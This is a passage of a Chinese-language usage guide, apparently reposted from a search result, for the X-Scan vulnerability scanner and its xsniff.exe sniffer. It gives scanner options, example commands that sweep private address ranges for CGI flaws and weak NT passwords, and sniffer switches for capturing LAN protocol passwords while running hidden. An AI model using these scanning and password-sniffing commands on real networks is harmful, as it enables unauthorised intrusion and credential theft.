<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-iis </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IIS</span><span style="color: black;"><span style="">编码</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/</span><span style="color: black;"><span style="">解码漏洞</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-cgi </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">CGI</span><span style="color: black;"><span style="">漏洞</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-nasl </span><span style="color: black;"><span style="">加载</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Nessus</span><span style="color: black;"><span style="">攻击脚本</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-all </span><span style="color: black;"><span style="">检测以上所有项目</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">其它选项</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-i </span><span style="color: black;"><span style="">适配器编号</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">设置网络适配器</span></span><span style="font-family: Arial; color: black;" lang="EN-US">, <</span><span style="color: black;"><span style="">适配器编号</span></span><span style="font-family: Arial; color: black;" lang="EN-US">></span><span style="color: black;"><span style="">可通过</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"-l"</span><span style="color: black;"><span style="">参数获取</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-l </span><span style="color: black;"><span style="">显示所有网络适配器</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-v </span><span style="color: black;"><span style="">显示详细扫描进度</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-p </span><span style="color: black;"><span style="">跳过没有响应的主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-o </span><span style="color: black;"><span style="">跳过没有检测到开放端口的主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style=""></span>-t </span><span style="color: black;"><span style="">并发线程数量</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">并发主机数量</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">指定最大并发线程数量和并发主机数量</span></span><span style="font-family: Arial; color: black;" lang="EN-US">, </span><span style="color: black;"><span style="">默认数量为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">100,10 </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-log </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">指定扫描报告文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> (</span><span style="color: black;"><span style="">后缀为：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">TXT</span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US">HTML</span><span style="color: black;"><span style="">格式的文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">用法示例</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">xscan -host 192.168.1.1-192.168.255.255 -all -active -p<span style=""> </span></span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">192.168.1.1-192.168.255.255</span><span style="color: black;"><span style="">网段内主机的所有漏洞，跳过无响应的主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">192.168.1.1-192.168.255.255</span><span style="color: black;"><span style="">网段内主机的标准端口状态，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">NT</span><span style="color: black;"><span style="">弱口令用户，最大并发线程数量为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">150</span><span style="color: black;"><span style="">，跳过没有检测到开放端口的主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">xscan -file hostlist.txt -port -cgi -t 200,5 -v -o </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“hostlist.txt”</span><span style="color: black;"><span style="">文件中列出的所有主机的标准端口状态，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">CGI</span><span style="color: black;"><span style="">漏洞，最大并发线程数量为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">200</span><span style="color: black;"><span style="">，同一时刻最多检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">5</span><span style=""><span style="color: black;">台主机，显示详细检测进度，跳过没有检测到开放端口的主机</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style=""><span style="font-size: small;"><span style="color: black;">（九）</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">3</span><span style="color: black;"><span style="">、命令行方式嗅探器</span></span><span style="font-family: Arial; color: black;" lang="EN-US">: xsniff.exe</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">可捕获局域网内</span></span><span style="font-family: Arial; color: black;" lang="EN-US">FTP/SMTP/POP3/HTTP</span><span style=""><span style="color: black;">协议密码</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">参数说明</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-tcp </span><span style="color: black;"><span style="">输出</span></span><span style="font-family: Arial; color: black;" lang="EN-US">TCP</span><span style="color: black;"><span style="">数据报</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-udp </span><span style="color: black;"><span style="">输出</span></span><span style="font-family: Arial; color: black;" lang="EN-US">UDP</span><span style="color: black;"><span style="">数据报</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-icmp </span><span style="color: black;"><span style="">输出</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ICMP</span><span style="color: black;"><span style="">数据报</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-pass </span><span style="color: black;"><span style="">过滤密码信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-hide </span><span style="color: black;"><span style="">后台运行</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-host </span><span style="color: black;"><span style="">解析主机名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-addr IP</span><span style="color: black;"><span style="">地址</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">过滤</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">地址</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-port </span><span style="color: black;"><span style="">端口</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">过滤端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-log </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">将输出保存到文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-asc </span><span style="color: black;"><span style="">以</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ASCII</span><span style="color: black;"><span style="">形式输出</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-hex </span><span style="color: black;"><span style="">以</span></span><span style="font-family: Arial; color: black;" lang="EN-US">16</span><span style=""><span style="color: black;">进制形式输出</span></span></span></pre>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-family: Times New Roman; font-size: small;"></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-family: Times New Roman; font-size: small;">此内容来源自百度搜索</span></span></p>
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